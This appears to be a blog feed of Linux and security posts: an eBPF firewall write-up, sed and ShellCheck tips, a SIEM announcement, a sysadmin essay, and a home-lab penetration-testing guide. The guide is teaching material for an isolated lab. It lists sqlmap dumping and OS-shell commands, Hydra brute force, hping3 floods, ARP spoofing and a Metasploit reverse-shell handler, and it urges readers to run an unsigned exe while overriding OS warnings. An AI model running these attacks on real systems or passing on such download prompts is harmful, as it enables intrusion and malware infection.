2. Strict 64-Bit Memory Boundary Alignments

To ensure safe zero-copy communication across the kernel-userspace boundary, shared structures use explicit padding fields to guarantee 8-byte alignment:

#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct RuleValue {
    pub action: u32,       // 0 = Pass, 1 = Drop
    pub _pad: u32,         // Explicit 4-byte padding for 8-byte boundary
    pub created_at: u64,   // Monotonic timestamp
    pub ttl_secs: u64,     // Time-to-live expiration
}

The presence of _pad: u32 is critical: it prevents architecture-specific compiler padding discrepancies and satisfies the Linux Kernel BPF Verifier.

3. Dynamic BPF Virtual Filesystem (bpffs) Synchronization

Firewall rules (blocklist and allowlist) are dynamically synchronized using pinned BPF hash maps located in /sys/fs/bpf/xdp_guard. Rules can be inserted or deleted instantaneously from the CLI without tearing down network interfaces or interrupting traffic flows.

4. In-Kernel Token-Bucket Rate Limiter

In addition to static blocklists, xdp-guard embeds a stateful token-bucket rate limiter directly in kernel space. Monotonic arrival intervals ($\Delta t = t{now} - t{last}$) are computed using nanosecond bpf_ktime_get_ns() clocks, discarding over-limit burst floods at line-rate.

Empirical Verification: Real Linux Kernel Telemetry

To validate xdp-guard under realistic operating conditions, we set up an automated Linux network namespace testbed over virtual ethernet (veth) pairs (xdp_client at 10.10.0.2 and xdp_server at 10.10.0.1).

Telemetry streamed directly from the kernel STATS_MAP array demonstrated instantaneous 100.00% packet mitigation upon inserting an attacker IP into the kernel blocklist, followed by zero-loss recovery:

TIMESTAMP            PASSED (PKTS)   DROPPED (PKTS)  DROP RATIO     
-----------------------------------------------------------------
09:56:56 | Pass: 1        (30.2 KB) | Drop: 0        (0 B)   | Ratio: 0.00%
[!] Inserting IP 10.10.0.2 into BLOCKLIST_MAP... [SUCCESS]
09:56:57 | Pass: 0        (30.2 KB) | Drop: 1        (98 B)  | Ratio: 100.00%
09:56:58 | Pass: 0        (30.2 KB) | Drop: 1        (196 B) | Ratio: 100.00%
09:56:59 | Pass: 0        (30.2 KB) | Drop: 1        (294 B) | Ratio: 100.00%
...
09:57:55 | Pass: 0        (30.2 KB) | Drop: 1        (5.7 KB)| Ratio: 100.00%
[!] Removing IP 10.10.0.2 from BLOCKLIST_MAP... [SUCCESS]
09:57:56 | Pass: 1        (30.3 KB) | Drop: 0        (5.7 KB)| Ratio: 0.00%
09:57:57 | Pass: 1        (30.4 KB) | Drop: 0        (5.7 KB)| Ratio: 0.00%

Every single drop occurred directly within the NIC driver hook, requiring zero kernel TCP/IP stack overhead.

Source Code & Research Paper

The complete project, documentation, and formal research paper are fully open-source:

GitHub Repository: https://github.com/rahadbhuiya/xdp-guard
Citable Zenodo DOI: 10.5281/zenodo.23120995
Automated CI: Continuous testing across Rust Stable and Nightly LLVM targets via GitHub Actions.

If you are working on Linux kernel systems, eBPF, or Rust networking, I would love to hear your thoughts, feedback, or suggestions!

sed 's/port/listen_port/g' rewrote four lines of a four-line config

Thu, 01 Oct 2026 13:00:00 +0000

A four-line YAML file (port: 8080, support_email, transport: tcp, report_dir: /var/reports) and the rename most people type first: sed -i 's/port/listen_port/g' app.yml. GNU sed 4.9 exited 0 and printed nothing, because -i never does. Afterwards the file held suplisten_port_email, translisten_port and /var/relisten_ports. One line was meant to change. All four did.

sed matches characters, not words. The letters p-o-r-t sit inside support, transport and report, and g replaced every occurrence. GNU sed's \b word boundary fixes the match, and one pipe shows the damage before anything is written:

sed 's/\bport\b/listen_port/g' app.yml | diff app.yml -

Without -i the file on disk stays intact, and diff prints the lines that would change. It exits 1 when it finds differences, so the same check works inside a script. Only after the diff reads right does -i go back on.

Two caveats before trusting \b. Underscore counts as a word character, so db_port stays untouched. And \b is a GNU extension: BSD sed on macOS spells word boundaries [[:<:]] and [[:>:]], and its -i requires a suffix argument (sed -i '') where GNU's is optional.

The replacement side bites too. An unescaped & means the whole match, so s/CEO/Smith & Sons/ produces Smith CEO Sons.

The bulk-replace script, with a grep -rl file list, per-file diff and an --apply gate that fails toward reading, is on the sed find-and-replace snippet page.

How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)

Thu, 01 Oct 2026 11:52:16 +0000

Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.

A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).

You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.

My name is Elijah Abolaji, and I developed this guide for educational purposes only.

⚠️ Legal & Ethical Ground Rules

Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.

Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.

Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done "just to learn." Keep this lab air-gapped from anything else.
️ Hardware Requirements

For a smooth-running lab, you'll need a computer with:

4-core processor

16GB RAM

SSD storage

Anything below this still works, but not efficiently.

️ Step 1: Install VirtualBox

Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.

Step 2: Download & Install Kali Linux (Attacker)

What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.

Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update && sudo apt full-upgrade -y

Step 3: Download & Install Ubuntu Server (Target)

Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM "Ubuntu-Target" (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.

Step 4: Building the Isolated Lab Network

This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.

In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20

Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.

Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.

Step 5: Reconnaissance & Scanning (from Kali)

Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).

Goal: Find out what's alive on the network and which ports/services are open before touching anything.
bash

Host discovery & port scanning

nmap 192.168.100.0/24 # scan the subnet
nmap -sn 192.168.100.0/24 # ping sweep
nmap -p- 192.168.100.20 # all 65535 ports
sudo nmap -sS 192.168.100.20 # SYN stealth scan

Service & OS detection

sudo nmap -A 192.168.100.20 # OS, version, scripts
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports
sudo nmap -O 192.168.100.20 # OS fingerprinting

Nmap Scripting Engine (NSE)

nmap --script vuln 192.168.100.20
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20
nmap -p 80 --script http-enum,http-headers 192.168.100.20

Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.
Step 6: Web Enumeration

Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.
bash

Directory brute-forcing

gobuster dir -u http://192.168.100.20 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://192.168.100.20 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Automated & manual scanning

nikto -h http://192.168.100.20 # automated vulnerability scanner
curl -i http://192.168.100.20 # view response headers
curl -X POST -d "id=1" http://192.168.100.20/vulnerable.php
burpsuite # launch the Burp Suite proxy (GUI)

Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.

Step 7: SQL Injection with SQLmap

Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.
bash

Basic usage

sqlmap -u "http://192.168.100.20/page.php?id=1" --batch
sqlmap -u "http://192.168.100.20/page.php?id=1" --dbs
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva --tables
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva -T users --dump

Using a captured request (with auth cookies)

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D dwva -T users --dump

Advanced options

sqlmap -r request.txt --batch --level=5 --risk=3 # more thorough
sqlmap -r request.txt --batch --os-shell # attempt OS shell
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass

Step 8: Password Attacks

Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.
bash

Hydra - online brute force

hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20
hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

John the Ripper - offline cracking

john --wordlist=rockyou.txt hashes.txt
john --format=raw-md5 --wordlist=rockyou.txt hash.txt

Hashcat - GPU cracking

hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 1000 hash.txt rockyou.txt # NTLM

Tool Best for
Hydra Live login attempts against a running service (SSH, web forms)
John the Ripper Cracking a password hash you already have, CPU-based
Hashcat Cracking hashes fast using your GPU
Step 9: Denial of Service (DoS) Testing

Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.

Before you start: hping3 ships with Kali by default. Install anything missing:
bash

sudo apt install -y hping3 slowhttptest apache2-utils

bash

hping3 - flood attacks

sudo hping3 -S --flood -p 80 192.168.100.20
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20
sudo hping3 --udp --flood -p 80 192.168.100.20
sudo hping3 --icmp --flood 192.168.100.20

slowhttptest - application-layer

slowhttptest -B -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow POST
slowhttptest -R -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow Read

Apache Benchmark - load testing

ab -n 10000 -c 500 http://192.168.100.20/

hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds
️ Step 10: Sniffing & Man-in-the-Middle
bash

Packet capture

wireshark # packet capture GUI
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 port 80 -A
sudo tcpdump -i eth0 host 192.168.100.20

ARP spoofing & MITM frameworks

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

sudo ettercap -G # GUI
sudo bettercap -iface eth0

How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.
Step 11: Metasploit Framework

Goal: Move from "this service looks vulnerable" to an actual working exploit against the Ubuntu target, using a pre-built module.
bash

sudo msfconsole

Inside msfconsole:
bash

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.100.20
set USERNAME testuser
set PASSWORD password123
run

Reverse shell example:
bash

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.10
set LPORT 4444
run

Step 12: Snapshot Management (VBoxManage)

Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.
bash

VBoxManage list vms
VBoxManage snapshot "Kali" take "Snapshot-Name" --description "Description"
VBoxManage snapshot "Kali" list
VBoxManage snapshot "Kali" restore "Snapshot-Name"
VBoxManage snapshot "Kali" delete "Snapshot-Name"

VM power control

VBoxManage startvm "Kali" --type headless
VBoxManage controlvm "Kali" poweroff

⚙️ Part 2: Ubuntu Target Configuration

Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.
Network & Service Configuration
bash

Network configuration

ip a # check interfaces
sudo nano /etc/netplan/01-netcfg.yaml # static IP config
sudo netplan apply # apply changes
sudo netplan try # test, auto-rollback if it fails
ping -c 3 192.168.100.10 # verify Kali is reachable

Service management

sudo systemctl restart apache2
sudo systemctl restart ssh
sudo systemctl restart mariadb

sudo systemctl status apache2
sudo systemctl status ssh
sudo systemctl status mariadb

Check listening ports

ss -tlnp
sudo netstat -tlnp

SSH Server Setup
bash

Install & enable

sudo apt update
sudo apt install -y openssh-server
sudo systemctl enable --now ssh
sudo systemctl status ssh

Create a test account & review config

sudo adduser testuser # for Hydra practice
sudo nano /etc/ssh/sshd_config

Key options to inspect:
text

PermitRootLogin no
PasswordAuthentication yes
Port 22

Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.

MariaDB / MySQL Setup

Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: http://target-ip/DVWA
bash

sudo mysql -u root

Inside MySQL:
sql

CREATE DATABASE dwva;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';
FLUSH PRIVILEGES;

SHOW DATABASES;
USE dwva;
SHOW TABLES;
SELECT * FROM users;
EXIT;

Step 13: Installing DVWA (Vulnerable Web App)

What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.

Install the LAMP stack plus git:
bash

sudo apt install -y apache2 \
mariadb-server php php-mysql \
php-gd libapache2-mod-php git

Clone DVWA from GitHub into Apache's web root:
bash

cd /var/www/html/
sudo git clone https://github.com/digininja/DVWA.git

Open permissions so DVWA can write its config:
bash

sudo chmod -R 777 /var/www/html/DVWA/

Copy the sample config and point it at your database:
bash

cd /var/www/html/DVWA/config/
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'

Access it: Open http://<Ubuntu-IP>/DVWA/setup.php from Kali's browser. Default login is admin / password. Set the security level to "low" while you're first learning each attack.
Step 14: Monitoring & Apache Hardening

Watching the target during an attack:
bash

top / htop # live resource usage
ss -tn state established '( sport = :80 )' | wc -l # count HTTP connections
sudo iftop -i enp0s3 # live network traffic
sudo tail -f /var/log/apache2/access.log # request log
ps aux | grep apache # process monitoring

Hardening Apache:
bash

sudo a2enmod reqtimeout
sudo a2enmod headers
sudo systemctl restart apache2

Sample hardening for /etc/apache2/apache2.conf:
text

Timeout 30
MaxRequestWorkers 150
KeepAliveTimeout 5

Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.
End Of Lab

Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.

If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:

https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.

This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.
About Me

I am a usual guy that likes technology. If you wish to know more about me, follow me:

LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse

Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.

ShellCheck rates SC2086 as info. It let rm delete two files I never named.

Tue, 29 Sep 2026 13:00:00 +0000

SC2086 sits at info, ShellCheck's lowest default severity, and fires on every unquoted $var, so it is usually the first rule anyone disables. I built the smallest test I could: a directory holding quarterly, report.txt and quarterly report.txt, and a four-line script under set -euo pipefail:

report="quarterly report.txt"
rm $report

It deleted quarterly. It deleted report.txt. It left the one file it was asked to remove, and exited 0. rm was handed two names and both existed, so strict mode had nothing to catch.

Bash expands the unquoted variable, splits the result on whitespace, globs any * or ? against the current directory, and only then builds the argument list. rm "$report" is one argument with no globbing, and it deletes the right file.

The same bug hides in other shapes. [ $name = "root" ] with an empty $name gives test two arguments: a complaint on stderr, a false condition, and the script keeps walking. for f in $files is not flagged by ShellCheck 0.11.0 at all, and still breaks on the first name with a space.

When you do want the split, such as a flag string read from a config, use an array or a one-line # shellcheck disable=SC2086 with the reason. A repo-wide .shellcheckrc disable covers every future rm as well. And shellcheck --include=SC2086 runs it alone as a CI gate.

Every run, pasted from ShellCheck 0.11.0, is in the SC2086 deep dive on word splitting and globbing.

Why Fail2ban Isn't Enough: Building CNSL, a Self-Hosted SIEM for Linux & Kubernetes

Sat, 26 Sep 2026 04:39:36 +0000

Why Fail2ban Isn't Enough: Building CNSL, a Self-Hosted SIEM for Linux & Kubernetes

If you manage Linux servers, your security stack probably looks something like this:

Fail2ban scanning /var/log/auth.log for failed SSH passwords.
A reverse proxy or web server (NGINX / Caddy) writing HTTP access logs.
A database (PostgreSQL / MySQL) logging authentication errors.
A firewall (iptables / UFW) enforcing static port rules.

On paper, this sounds like a layered defense. In practice, it has a glaring, dangerous architectural flaw: these tools operate in complete isolation.

Each tool watches a single log file and counts failures independently. And modern attackers know this.

An attacker does not hammer your SSH port with 100 rapid-fire passwords anymore—that would trip Fail2ban within seconds. Instead, they scan your web endpoints for exposed .env files, probe your database port for default passwords, and attempt just two SSH logins with leaked administrator credentials.

To your web server, it was just a minor 404 error. To your database, it was a routine connection failure. To Fail2ban, two failed SSH logins are well below the threshold of 5.

Every single tool saw a harmless blip. In reality, your server was undergoing a coordinated, multi-stage breach.

To eliminate this architectural blind spot, I built CNSL (Correlated Network Security Layer)—a self-hosted, lightweight SIEM for Linux and Kubernetes that correlates attacks spanning web, SSH, database, and cloud logs simultaneously, stopping breaches before they complete.

Here is the story of why I built it, how its cross-vector correlation engine works, and what it takes to design a modern defensive security layer from scratch.

1. The Core Philosophy: Cross-Vector Correlation

The foundational principle behind CNSL is simple: No security event should ever be evaluated in a vacuum.

When an IP address or actor touches your infrastructure, CNSL tracks their activity across every listening service simultaneously. Instead of waiting for a single service threshold to fire, CNSL computes a dynamic threat score across all vectors:

Web scan (directory traversal)  from 45.33.32.1  --+
SSH brute attempt               from 45.33.32.1  --+---> HIGH Alert & Auto-Block
DB authentication failure       from 45.33.32.1  --+

When CNSL observes an actor combining reconnaissance with authentication probing across disparate services, the threat trajectory escalates immediately.

The attacker is automatically banned at the firewall/iptables level or quarantined across the entire cluster—before they ever guess a password or exploit an unpatched service.

2. Kill-Chain Progression & Predictive Blocking

Traditional intrusion prevention systems (IPS) are reactive: they wait until a threshold is crossed before taking action.

CNSL integrates Cyber Kill-Chain Tracking modeled after the MITRE ATT&CK framework:

Reconnaissance: Port probing, vulnerability scanning, spidering.
Weaponization & Delivery: Testing malicious payloads, path traversal.
Exploitation & Initial Access: Credential stuffing, brute-forcing, privilege escalation attempts.
Lateral Movement: Probing internal service meshes, database exfiltration.

Predictive Trajectory Blocking

Instead of waiting for an attacker to complete the exploitation phase, CNSL features opt-in Predictive Blocking.

By analyzing the velocity and breadth of an attack vector, the correlation engine calculates the statistical probability of an impending breach. If an IP rapidly transitions from passive web reconnaissance to active database auth probing, CNSL severs the connection proactively—reacting to the attack's trajectory before any single rule's threshold trips.

3. Beyond IP Addresses: Attacker Fingerprinting & Campaign Graphs

Sophisticated threat actors do not use a single IP address. They utilize residential proxy networks, VPNs, and Tor exit nodes, rotating their source IP address between requests to evade IP-based rate limiters.

If your security system only tracks IP addresses, you are playing an endless game of whack-a-mole.

To counter IP rotation, CNSL incorporates Attacker Fingerprinting and Graph Correlation:

Behavioral Fingerprinting: Tracks TLS cipher suites, TCP window signatures, request ordering, and user-agent entropy.
Graph-Based Campaign Correlation: Connects seemingly disparate IP addresses attacking your servers into a unified attack campaign graph.
When Actor X rotates from IP_A to IP_B, CNSL recognizes the behavioral fingerprint, associates the new IP with the existing threat entity, and immediately inherits the accumulated threat score.

4. Threat Intelligence Federation: Built-in STIX 2.1 and TAXII 2.1

Security should not be isolated to a single machine. When one node in your cluster discovers an aggressive threat actor, every other node should immediately know about it.

Rather than relying on proprietary, vendor-locked sync protocols, CNSL natively implements global open threat intelligence standards:

STIX 2.1 Export: Converts detected threat actors, campaigns, and indicators of compromise (IOCs) into standardized STIX JSON objects.
Built-in TAXII 2.1 Server: Runs a native TAXII endpoint directly inside CNSL. Other servers in your infrastructure (or peer organizations) can subscribe to your TAXII collections to ingest real-time threat intelligence.
Multi-Node Federation: Allows multi-region VPS deployments or edge servers to pool threat intelligence without routing all traffic through a centralized, vulnerable bottleneck.

5. From Single VPS to Kubernetes DaemonSet

CNSL was designed to be lightweight enough to run on a $5/month VPS, yet cloud-native enough to protect modern containerized environments.

Running on a Single Linux Server

CNSL can be installed directly with Python and pip:

pip install cnsl[full]
sudo python -m cnsl --dashboard --no-tcpdump

By default, CNSL boots into safe dry-run mode—it correlates events, populates the live dashboard, and logs detected campaigns without modifying firewall rules until you explicitly pass --execute.

The built-in web dashboard (running on port 8765) gives operators real-time visibility into active threats, geographic origins, attack kill-chain phases, and blocked IPs.

Running on Kubernetes

In modern Kubernetes clusters, attackers frequently compromise one container and attempt lateral movement toward neighbor pods or database secrets.

CNSL provides an official Helm chart designed to run as a DaemonSet:

helm install cnsl ./helm/cnsl --namespace cnsl --create-namespace

One CNSL agent runs per Kubernetes node, monitoring container socket events, host logs, and ingress traffic, feeding telemetry into a unified multi-node Hub view.

6. What I Learned Building a SIEM from Scratch

Building a real-time correlation engine in Python and systems-level Linux tooling provided some invaluable engineering insights:

Log parsing is a performance minefield: When a high-traffic server generates 10,000 log lines per second, regex matching can easily peg your CPU at 100%. Implementing ring buffers, compiled zero-allocation parsers, and asynchronous pipeline queues is mandatory to keep memory and CPU footprints negligible.
False positives destroy credibility: If a security tool accidentally bans an administrator or a legitimate customer, operators will turn it off immediately. Multi-vector correlation actually reduces false positives because a user making a typo on a web form is never banned—only entities combining suspicious behavior across multiple services are flagged.
Open standards win every time: Implementing STIX/TAXII and integrations with Wazuh/OSSEC meant CNSL could plug seamlessly into existing SOC workflows without requiring operators to reinvent their operational playbooks.

Conclusion: Take Back Control of Your Server Security

Enterprise SIEMs (like Splunk or Datadog) cost tens of thousands of dollars per year and consume massive amounts of memory. On the other end of the spectrum, single-log watchers like Fail2ban are too blind to stop multi-vector attacks.

CNSL was built to bridge this gap: an open-source, self-hosted, correlated security engine that gives developers, self-hosters, and DevOps engineers enterprise-grade situational awareness with zero vendor lock-in.

The entire project is open-source under the MIT license:

GitHub Repository: https://github.com/rahadbhuiya/cnsl
PyPI Package: https://pypi.org/project/cnsl

Clone it, test it in dry-run mode on your servers, and let me know your thoughts!

How do you currently monitor and correlate security events across your Linux servers? Have you ever caught an attacker probing across multiple ports? Let's discuss in the comments below!

What a Linux Sysadmin Actually Does All Day (Spoiler: It's Not Just `sudo apt update`)

Fri, 25 Sep 2026 15:27:27 +0000

Somewhere out there is a job posting that describes a "Linux System Administrator" as someone who "maintains servers." That description is technically true the way "doctors deal with bodies" is technically true. It tells you nothing, it undersells the job by an order of magnitude, and it's why half the people who land in this role are shocked, three weeks in, to discover they're now responsible for network routing, certificate rotation, backup verification, and being the calm voice at 3 a.m. when a disk fills up and takes production with it.

Let's actually map the territory, without the job-posting euphemisms.

Everything Except Bending the Metal

If it isn't literally designing server hardware, it's probably yours. The realistic scope of the role covers the entire operating system lifecycle — installation, configuration, patching, the accounts and permissions layered on top of all of it — plus every service that depends on that OS staying upright: web servers, databases, file storage, whatever the business actually makes money from. Add the network layer on top: interfaces, firewalls, routing at the host level, VPNs. Add backups, and not just "having" them — configuring them correctly, testing restores on a schedule instead of assuming they'll work when it actually matters, and snapshotting filesystems and databases before you're the reason someone needs them. Add security on top of all of that: access rights, certificates, vulnerability monitoring, log auditing, and standing between the box and whatever's currently trying to get into it.

That's not a job description. That's five job descriptions wearing a trench coat, and the fact that it's usually billed as one role is either a testament to how capable good sysadmins are or a quiet admission that most companies would rather understaff this than budget for it properly. I'll let you guess which one it usually is.

Prevention Beats Heroics, Every Single Time

The single most underrated skill in this job isn't fixing things fast. It's noticing them slowly enough in advance that "fixing" was never required.

Monitor before it's an emergency. Zabbix and Prometheus exist to tell you a disk is filling up while you still have options, not after the pager goes off and options have narrowed to "explain this in the incident channel." Prometheus's pull-based, time-series model has become the default assumption for anything running in Kubernetes, while Zabbix still earns its keep in more traditional, heterogeneous fleets where you need broad out-of-the-box coverage without writing your own exporters for everything. Neither is objectively "better" — they're solving slightly different shapes of the same problem, and plenty of shops run both without embarrassment.

Visualize, don't just collect. Raw metrics are where good intentions go to die unread. Grafana turns a wall of numbers nobody checks into a dashboard people actually glance at on the way to their coffee, which is the entire difference between "we had the data" and "we noticed the problem."

Automate the repetitive stuff before it automates a mistake into your fleet instead. This is where the tooling landscape has genuinely shifted, and it's worth being current about it instead of reciting the same three names out of habit. Puppet and Chef both still exist — Chef now lives under Progress Software, Puppet under Perforce — and both remain entirely legitimate choices in shops that already standardized on their agent-based, declarative model years ago. But the gravitational centre of new automation work has moved decisively toward Ansible's agentless, SSH-based approach, precisely because it doesn't require you to pre-install anything on a target before you can manage it. Centralizing configuration this way isn't about looking modern. It's about making sure the fifty servers behind you were actually configured the way you meant, instead of the way you remembered meaning it three deploys ago.

Document like someone else — possibly a more tired version of you — will have to clean up after this change at 2 a.m. What changed, why, and what actually happened as a result. A wiki without an update discipline is just an elaborate way of lying to your future self, and version-controlling your configuration alongside that documentation is the difference between "we can see exactly what changed" and "we're diffing memories."

Treat backups as a product, not a checkbox. A backup job that's never been test-restored isn't a backup. It's a belief system, and belief systems have a terrible track record during actual outages.

The OS Is the Whole Foundation, So Know What You're Standing On

Everything above assumes a server operating system doing its actual job underneath: managing hardware resources, running services, handling networking, enforcing security boundaries and access separation. Get comfortable with the fact that which OS family you're standing on changes almost everything else about how you'll do this job.

The Linux Families, and What Actually Distinguishes Them

Debian-based — Debian itself, Ubuntu, Mint. The reputation for stability and thorough documentation is earned, not marketing. Ubuntu Server in particular remains the default on-ramp for small and mid-sized shops precisely because the learning curve is forgiving and the community answer to almost any problem already exists somewhere.

RHEL-based — Red Hat Enterprise Linux, AlmaLinux, Rocky Linux, and CentOS, which deserves a specific note because its story isn't finished the way older tutorials imply. CentOS as the free, bit-for-bit downstream rebuild of RHEL is functionally gone — Red Hat shifted it to CentOS Stream, a rolling preview that sits upstream of RHEL rather than mirroring it, and then tightened access to RHEL's own source in a way that made several downstream projects' lives noticeably harder. AlmaLinux and Rocky Linux exist specifically because that gap needed filling, and both have become the practical default wherever a shop needs RHEL-compatible stability without a RHEL support contract. This is still the corner of the Linux world enterprises reach for when "boring and well-supported for a decade" beats "exciting."

Arch-based — Arch Linux, Manjaro. The pitch here isn't convenience, it's comprehension: a rolling-release model and a famously minimal starting point that force you to understand what you're installing instead of inheriting someone else's defaults. Fewer production servers run it than you'd guess from how often it comes up in conversation, which tells you something honest about the gap between "educational" and "operationally boring in the best way."

Unix Is the Ancestor, Not a Competitor Wearing a Costume

FreeBSD and OpenBSD carry the Unix lineage forward as genuinely open, still-maintained systems — FreeBSD as a long-standing web-serving workhorse, OpenBSD as the option people reach for specifically when "we obsess over security defaults" needs to be true rather than aspirational, which is why it shows up disproportionately often inside routers and firewalls.

The distinction that actually matters, though, isn't "which is better." It's understanding that Linux isn't a Unix clone — it's an independent implementation built in the spirit of Unix's ideas and conventions: the filesystem model, process management, the permissions structure, the whole shape of working in a terminal. When someone says "Linux and other Unix-like systems," that's not sloppy phrasing. That's the actual, accurate relationship.

Where the Proprietary Options Still Fit

Windows Server remains the correct call the moment Active Directory, Exchange, or deep integration with the Microsoft stack is the actual requirement rather than a default nobody questioned. macOS, meanwhile, quietly stopped being a distinct server product entirely — Apple folded macOS Server's functionality back into the base OS years ago, and what's left shows up almost exclusively inside small, Apple-native shops rather than anything resembling general-purpose server infrastructure. It also remains the one entry on this list you can't actually buy on its own — it comes bundled with the hardware, whether you wanted the bundle or not.

Why This Is Still Worth Learning, Bluntly

If you're deciding whether Linux administration deserves real time investment, the honest case doesn't need embellishment. Depending on which measurement you trust, Linux runs somewhere between roughly half and the overwhelming majority of the world's servers, and among sites where the underlying OS can actually be identified, the Unix-family total — Linux very much included — sits comfortably above nine in ten. Virtually every top-1-million web server and every single one of the world's fastest supercomputers has been running it for years now, and every major public cloud treats Linux as the load-bearing default rather than a supported alternative.

Beyond the numbers, the actual reasons to learn it hold up on their own merits: it scales cleanly from a five-dollar VPS to an entire data centre without switching mental models, the multi-user permissions architecture was security-conscious from its foundations rather than bolted on afterward, and — the reason I'd actually put first — it's the rare piece of foundational infrastructure you're genuinely allowed to open up and understand completely. You can read the source, modify the kernel, rebuild a component that annoys you, and nobody's licensing department is going to stop you. That's not a minor philosophical footnote. It's the entire reason this operating system family ended up running the internet instead of just participating in it.

Notes on x86 PVH boot

Fri, 25 Sep 2026 14:47:35 +0000

Motivation

My Rust KVM project now being able to boot Linux on ARM64, I decided to try and
boot Linux on x86. I have been trying in the past to set up the boot procedure
